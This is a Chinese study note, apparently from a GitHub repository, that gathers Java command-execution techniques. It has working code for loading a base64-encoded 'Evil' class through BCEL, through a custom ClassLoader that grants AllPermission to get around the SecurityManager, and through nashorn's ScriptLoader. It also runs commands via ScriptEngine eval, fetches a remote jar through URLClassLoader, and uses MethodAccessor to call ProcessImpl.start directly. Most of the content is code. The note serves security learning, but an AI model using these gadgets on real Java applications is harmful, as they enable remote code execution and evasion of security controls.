Skip to content

Latest commit

 

History

History
189 lines (139 loc) · 7.65 KB

各种姿势的命令执行学习.md

File metadata and controls

189 lines (139 loc) · 7.65 KB

各种姿势的命令执行学习

前言

学习自三梦师傅的https://xz.aliyun.com/t/7798,原谅我都2022年了才学习这篇文章呜呜。

加载BCEL字节码

学习动态加载字节码的时候了解到了BCEL字节码。这部分建议读一下:

BCEL ClassLoader去哪了

从JDK8u251以后BCEL就不能利用了。

        JavaClass javaClass = Repository.lookupClass("Evil");
        String code = Utility.encode(javaClass.getBytes(),true);
        new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
public class Evil  {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

自定义类加载器

构造中还利用到了SM绕过的姿势:

        ClassLoader MyClassLoader = new ClassLoader() {
            @Override
            public Class<?> loadClass(String name) throws ClassNotFoundException {
                if (name.contains("Evil")) {
                    return findClass(name);
                }
                return super.loadClass(name);
            }
            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAGTEV2aWw7AQANU3RhY2tNYXBUYWJsZQcAHgcAHAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYwwAIwAkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJQAKAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAABAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAUABAAHAA0ACgAQAAgAEQAJABUACwANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAAAAIAFg==");
                    PermissionCollection pc = new Permissions();
                    pc.add(new AllPermission());
                    ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (java.security.cert.Certificate[]) null), pc, this, null);
                    return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
                } catch (Exception e) {
                    e.printStackTrace();
                }
                return super.findClass(name);
            }
        };
        Class clazz = Class.forName("Evil",true,MyClassLoader);
        clazz.newInstance();

直接loadClass("Evil").newInstance()也行。

ScriptEngine.eval

就是ScriptEngine.evalrce了,之前JNDI注入的时候见过一次。

    public static void shell1(){
        try {
            new ScriptEngineManager().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()");
        } catch (ScriptException e) {
            e.printStackTrace();
        }
    }
    public static void shell2(){
        try {
            new ScriptEngineManager().getEngineByName("nashort").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()");
        } catch (ScriptException e) {
            e.printStackTrace();
        }
    }

不知道是不是还有别的Engine能用,应该还有的。

URLClassLoader加载远程jar

        try {
            new URLClassLoader(new URL[]{new URL("http://127.0.0.1/Evil.jar")}).loadClass("Evil").newInstance();
        } catch (MalformedURLException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }

加载远程jar包,必须出网。

jdk.nashorn.internal.runtime.ScriptLoader加载

这个马和前面的自定义类加载器没什么大区别,但是是使用了jdk.nashorn.internal.runtime.ScriptLoader,这种情况只是想展示不一样的姿势

重点的是想说一下有这样的一个类加载器。

我简化成只有加载那部分的了:

        Class c = Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");
        Constructor constructor = c.getDeclaredConstructor(ClassLoader.class,Context.class);
        constructor.setAccessible(true);
        Method m = c.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class);
        m.setAccessible(true);
        Object o = constructor.newInstance("".getClass().getClassLoader(),new Context(new Options(""), null, null));
        Class clazz = (Class) m.invoke(o,"Evil",Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAGTEV2aWw7AQANU3RhY2tNYXBUYWJsZQcAHgcAHAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYwwAIwAkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJQAKAQAERXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAABAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAUABAAHAA0ACgAQAAgAEQAJABUACwANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAAAAIAFg=="),new CodeSource(null, (Certificate[]) null));
        clazz.newInstance();

java.lang.ProcessImpl

exec那条调用链上的东西,不重复写了。

java.lang.ProcessBuilder

同上,不重复写了

MethodAccessor.invoke

用于绕过Method.invoke

package com.summer.shell;

import sun.reflect.MethodAccessor;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.security.AccessController;
import java.util.Map;

public class MethodAccessorInvoke {
    public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("java.lang.ProcessImpl");
        Method startMethod = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        startMethod.setAccessible(true);

        ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
        MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(startMethod);
        Process process = (Process) methodAccessor.invoke(null, new Object[]{new String[]{"whoami"},null, null, null, false});

        InputStream in = process.getInputStream();
        byte[] bcache = new byte[1024];
        int readSize = 0;
        try(ByteArrayOutputStream out = new ByteArrayOutputStream()){
            while ((readSize = in.read(bcache))!=-1){
                out.write(bcache,0,readSize);
            }
            System.out.println(out.toString());
        }
    }
}

SPI机制

写jar文件到临时目录持久化,然后利用SPI机制加载本地的jar包。

这种利用方式在SnakeYmal的ScriptEngineFactory链的不出网利用中提到过。